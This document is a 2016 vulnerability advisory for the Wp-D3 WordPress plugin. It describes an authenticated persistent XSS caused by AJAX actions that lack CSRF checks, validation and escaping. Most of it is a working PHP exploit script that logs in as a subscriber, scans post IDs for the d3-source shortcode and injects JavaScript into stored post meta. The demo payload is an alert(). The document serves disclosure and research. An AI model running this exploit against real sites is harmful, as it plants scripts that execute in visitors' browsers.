Wp-D3 [Authenticated Persistent XSS]
Description
Many of this plugin’s AJAX actions are not properly handled. Some of them are responsible for storing and updating post meta values regarding JS code to print in a post/page. All of them lack security checks like anti-CSRF, input validation, proper escaping supplied values etc.
These actions can be manipulated by an attacker in order to inject JS code which will be executed next time a user visits this specific post/page.
For this attack to work the author of the page must previously use the
plugin shortcode d3-source
. This shortcode is responsible for printing
the code specified by the author and if it’s not available then this
attack is not possible.
If the attacker manages to find posts/pages that have this shortcode, then it is trivial to insert arbitrary JS code.
PoC
This PoC exploits the lack of security checks in order to find a post with the aforementioned shortcode and inject JS code into it.
#!/usr/bin/env php
<?php
/*******************************************************************************
* Wp-D3 - Authenticated Persistent XSS
*
* Author: Pan Vag <[email protected]>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;
$url = Config::get( 'url.base', null, true, 'Enter the site URL' );
if ( ! $url ) {
Cli::writeError( 'You must enter a valid URL' );
exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}
global $session;
$session = new \Requests_Session();
Cli::writeInfo( 'Authenticating with WordPress' );
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );
/*******************************************************************************
* First we going to find the posts which has the required shortcode. For this
* purpose we use the AJAX action `getValidFieldNumber` which will return an
* integer if the post has `d3-source` shortcode.
******************************************************************************/
$postIdStart = (int) abs( Cli::prompt( 'Enter the id to start searching', 1 ) );
$postIdEnd = (int) abs( Cli::prompt( 'Enter the id to stop searching', 2 ) );
$postId = $postIdStart;
$postIds = [ ];
while( $postId <= $postIdEnd ) {
$r = $session->get( Endpoint::adminAjaxURL() . '/' . '?action=getValidFieldNumber&postId=' . $postId );
$result = (int) $r->body;
if ( $result ) {
$postIds[] = $postId;
}
$postId ++;
}
if ( empty( $postIds ) ) {
Cli::writeError( 'No posts were found to contain the required short for this exploit to work' );
exit( ExitCodes::EXIT_CODE_EXPLOIT_FAILED );
}
Cli::writeInfo( 'Found ' . count( $postIds ) . ', injecting code in each one...' );
/*******************************************************************************
* Now we are going to inject code to all posts we found
******************************************************************************/
foreach ( $postIds as $postId ) {
Cli::writeInfo( 'Injecting code to post with id ' . $postId . ' ...' );
injectCode( $postId );
}
Cli::writeSuccess( 'Exploitation complete' );
exit( ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED );
/**
* This function injects JS code to a post. For this purpose we can use the includes array or the
* code property. In the first case the script is loaded from an external source, in the second it
* is executed as inlince script.
*
* @param $postId
*
* @return bool
*
* @author Pan Vag <[email protected]>
* @since TODO ${VERSION}
*/
function injectCode( $postId ) {
global $session;
Cli::writeInfo( 'Getting previous contents...' );
$r = $session->get( Endpoint::adminAjaxURL() . '/?action=getCustomFielContent&postId=' . $postId );
$res = json_decode( $r->body );
if ( ! isset( $res->contents ) ) {
Cli::writeInfo( 'Couldn\'t get contents for post with id ' . $postId . ', skipping...' );
return false;
}
if ( empty( $res->contents ) ) {
Cli::writeInfo( 'Invalid meta value for post with id ' . $postId . ', skipping...' );
return false;
}
// we are going to inject to all elements, just to be sure :p
foreach ( $res->contents as $index => $content ) {
$content = json_decode( $content );
$maliciousCode = ';alert(/' . $res->keys[ $index ] . '-' . time() . '/);';
$content->code .= $maliciousCode;
// now save back
$data = [
'action' => 'setCustomField',
'postId' => $postId,
'fieldId' => $res->keys[ $index ],
'content' => json_encode( $content ),
];
Cli::writeInfo( 'Saving modified meta value ' . $res->keys[ $index ] );
$r = $session->post( Endpoint::adminAjaxURL(), [ ], $data );
if ( $r->success ) {
Cli::writeSuccess( 'Injected code to post with id ' . $postId . ', field ' . $res->keys[ $index ] );
}
}
return true;
}
- 13 June 2016
- Pan Vag
- www.figurebelow.com
- Wp-D3
- WordPress 4.5.2
- DWF-2016-87065